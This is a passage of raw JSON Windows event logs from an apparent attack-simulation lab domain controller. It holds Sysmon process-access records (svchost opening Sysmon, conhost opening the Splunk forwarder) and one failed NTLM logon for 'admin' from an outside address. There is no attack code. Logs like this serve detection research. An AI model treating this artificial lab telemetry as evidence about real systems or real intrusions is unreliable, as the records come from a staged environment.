2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1860,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1861,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1862,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1863,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1864,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1865,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1866,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010D2310300}\r\nTargetProcessId: 3636\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010D2310300}","TargetProcessId":"3636","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221485,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59378\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp 